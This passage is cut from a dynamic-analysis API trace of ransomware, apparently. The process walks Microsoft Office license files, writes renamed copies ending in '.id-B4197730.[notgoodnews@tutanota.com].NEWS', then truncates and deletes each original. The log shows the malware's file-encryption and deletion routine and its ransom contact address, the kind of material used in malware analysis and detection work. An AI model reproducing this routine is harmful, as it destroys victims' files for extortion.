(lpString1=".docx", lpString2="rm-ms") returned -1 [0188.242] lstrlenW (lpString=".pdf") returned 4 [0188.242] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString=".xls") returned 4 [0188.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString=".xlsx") returned 5 [0188.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.242] lstrlenW (lpString=".ppt") returned 4 [0188.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString=".zip") returned 4 [0188.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString=".rar") returned 4 [0188.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.243] lstrlenW (lpString=".bz2") returned 4 [0188.243] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.243] lstrlenW (lpString=".7z") returned 3 [0188.243] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.243] lstrlenW (lpString=".dbf") returned 4 [0188.243] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.243] lstrlenW (lpString=".1cd") returned 4 [0188.243] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.243] lstrlenW (lpString=".jpg") returned 4 [0188.243] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.243] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.243] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28 [0188.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.245] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11163) returned 1 [0188.245] CloseHandle (hObject=0x570) returned 1 [0188.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0188.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.246] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.246] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.247] GetLastError () returned 0x0 [0188.247] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0188.249] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0188.250] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.251] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10c, lpOverlapped=0x0) returned 1 [0188.251] SetEndOfFile (hFile=0x518) returned 1 [0188.251] CloseHandle (hObject=0x518) returned 1 [0188.251] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.251] SetEndOfFile (hFile=0x570) returned 1 [0188.255] CloseHandle (hObject=0x570) returned 1 [0188.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0188.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.257] lstrlenW (lpString=".doc") returned 4 [0188.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.257] lstrlenW (lpString=".docx") returned 5 [0188.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.257] lstrlenW (lpString=".pdf") returned 4 [0188.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.257] lstrlenW (lpString=".xls") returned 4 [0188.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.257] lstrlenW (lpString=".xlsx") returned 5 [0188.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.258] lstrlenW (lpString=".ppt") returned 4 [0188.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString=".zip") returned 4 [0188.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString=".rar") returned 4 [0188.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString=".bz2") returned 4 [0188.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString=".7z") returned 3 [0188.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString=".dbf") returned 4 [0188.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString=".1cd") returned 4 [0188.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString=".jpg") returned 4 [0188.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.258] lstrlenW (lpString=".doc") returned 4 [0188.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.258] lstrlenW (lpString=".docx") returned 5 [0188.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.258] lstrlenW (lpString=".pdf") returned 4 [0188.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString=".xls") returned 4 [0188.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString=".xlsx") returned 5 [0188.259] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.259] lstrlenW (lpString=".ppt") returned 4 [0188.259] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.259] lstrlenW (lpString=".zip") returned 4 [0188.259] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString=".rar") returned 4 [0188.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString=".bz2") returned 4 [0188.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString=".7z") returned 3 [0188.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.259] lstrlenW (lpString=".dbf") returned 4 [0188.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.259] lstrlenW (lpString=".1cd") returned 4 [0188.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0188.259] lstrlenW (lpString=".jpg") returned 4 [0188.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.260] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.260] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29 [0188.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.261] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21727) returned 1 [0188.261] CloseHandle (hObject=0x570) returned 1 [0188.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0188.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.262] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.262] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.264] GetLastError () returned 0x0 [0188.264] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x54df, lpOverlapped=0x0) returned 1 [0188.266] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0188.268] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.268] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10e, lpOverlapped=0x0) returned 1 [0188.268] SetEndOfFile (hFile=0x518) returned 1 [0188.268] CloseHandle (hObject=0x518) returned 1 [0188.268] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.268] SetEndOfFile (hFile=0x570) returned 1 [0188.272] CloseHandle (hObject=0x570) returned 1 [0188.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.274] lstrlenW (lpString=".doc") returned 4 [0188.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.274] lstrlenW (lpString=".docx") returned 5 [0188.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.274] lstrlenW (lpString=".pdf") returned 4 [0188.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.274] lstrlenW (lpString=".xls") returned 4 [0188.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.274] lstrlenW (lpString=".xlsx") returned 5 [0188.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.274] lstrlenW (lpString=".ppt") returned 4 [0188.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString=".zip") returned 4 [0188.275] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString=".rar") returned 4 [0188.275] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString=".bz2") returned 4 [0188.275] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString=".7z") returned 3 [0188.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString=".dbf") returned 4 [0188.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString=".1cd") returned 4 [0188.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString=".jpg") returned 4 [0188.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.275] lstrlenW (lpString=".doc") returned 4 [0188.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString=".docx") returned 5 [0188.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.275] lstrlenW (lpString=".pdf") returned 4 [0188.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.275] lstrlenW (lpString=".xls") returned 4 [0188.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.276] lstrlenW (lpString=".xlsx") returned 5 [0188.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.276] lstrlenW (lpString=".ppt") returned 4 [0188.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.276] lstrlenW (lpString=".zip") returned 4 [0188.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.276] lstrlenW (lpString=".rar") returned 4 [0188.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.276] lstrlenW (lpString=".bz2") returned 4 [0188.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.276] lstrlenW (lpString=".7z") returned 3 [0188.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.276] lstrlenW (lpString=".dbf") returned 4 [0188.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.488] lstrlenW (lpString=".1cd") returned 4 [0188.488] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0188.488] lstrlenW (lpString=".jpg") returned 4 [0188.488] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.488] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.488] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30 [0188.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.977] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21728) returned 1 [0188.977] CloseHandle (hObject=0x404) returned 1 [0188.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0188.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.978] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.978] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0188.979] GetLastError () returned 0x0 [0188.979] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x54e0, lpOverlapped=0x0) returned 1 [0188.981] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0188.982] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x110, lpOverlapped=0x0) returned 1 [0188.983] SetEndOfFile (hFile=0x408) returned 1 [0188.983] CloseHandle (hObject=0x408) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.983] SetEndOfFile (hFile=0x404) returned 1 [0188.986] CloseHandle (hObject=0x404) returned 1 [0188.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0188.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.987] lstrlenW (lpString=".doc") returned 4 [0188.987] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".docx") returned 5 [0188.987] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.987] lstrlenW (lpString=".pdf") returned 4 [0188.987] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".xls") returned 4 [0188.987] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".xlsx") returned 5 [0188.987] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.987] lstrlenW (lpString=".ppt") returned 4 [0188.987] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.987] lstrlenW (lpString=".zip") returned 4 [0188.987] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".rar") returned 4 [0188.987] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".bz2") returned 4 [0188.987] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.987] lstrlenW (lpString=".7z") returned 3 [0188.988] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW (lpString=".dbf") returned 4 [0188.988] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW (lpString=".1cd") returned 4 [0188.988] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW (lpString=".jpg") returned 4 [0188.988] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW 